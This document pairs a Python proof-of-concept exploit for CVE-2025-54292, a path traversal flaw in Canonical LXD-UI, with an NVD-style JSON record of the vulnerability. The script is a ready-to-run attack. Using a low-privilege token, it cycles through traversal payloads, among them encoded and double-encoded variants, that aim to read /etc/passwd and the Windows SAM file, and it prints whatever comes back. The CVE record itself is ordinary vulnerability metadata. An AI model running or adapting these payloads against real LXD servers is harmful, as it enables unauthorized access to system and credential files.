CVE-2025-54292

# CVE-2025-54292 - Canonical LXD-UI Path Traversal PoC # Affected: LXD-UI versions before 6.5 and 5.21.4 import requests from urllib.parse import quote TARGET_URL = "https://lxd-ui-target:8443" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token def exploit_path_traversal(base_url, token, traversal_path): """ Exploit path traversal in LXD-UI by injecting traversal sequences into resource names embedded in URL paths. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Construct malicious URL with path traversal payload # Example: /api/v1/instances/..%2F..%2F..%2Fetc%2Fpasswd encoded_payload = quote(traversal_path, safe='') malicious_url = f"{base_url}/ui/instance/{encoded_payload}" print(f"[*] Sending path traversal request to: {malicious_url}") response = requests.get(malicious_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Success! Retrieved content:") print(response.text) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None # Example payloads payloads = [ "../../../etc/passwd", "..%2F..%2F..%2Fetc%2Fpasswd", "....//....//....//etc/passwd", "..%252f..%252f..%252fetc%252fpasswd", # Double encoding "..\\..\\..\\windows\\system32\\config\\sam" # Windows style ] if __name__ == "__main__": for payload in payloads: print(f"\n[*] Trying payload: {payload}") result = exploit_path_traversal(TARGET_URL, AUTH_TOKEN, payload) if result: break

{"cve": {"id": "CVE-2025-54292", "sourceIdentifier": "[email protected]", "published": "2025-10-02T10:15:39.567", "lastModified": "2025-12-10T19:29:48.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal in Canonical LXD LXD-UI versions before 6.5 and 5.21.4 on all platforms allows remote authenticated attackers to access or modify unintended resources via crafted resource names embedded in URL paths."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.21.4", "matchCriteriaId": "384194F1-A594-4215-88F5-65388022F8C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.5", "matchCriteriaId": "14733993-3FD6-4F2E-8379-670FC1E562E4"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/security/advisories/GHSA-7425-4qpj-v4w3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-7425-4qpj-v4w3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}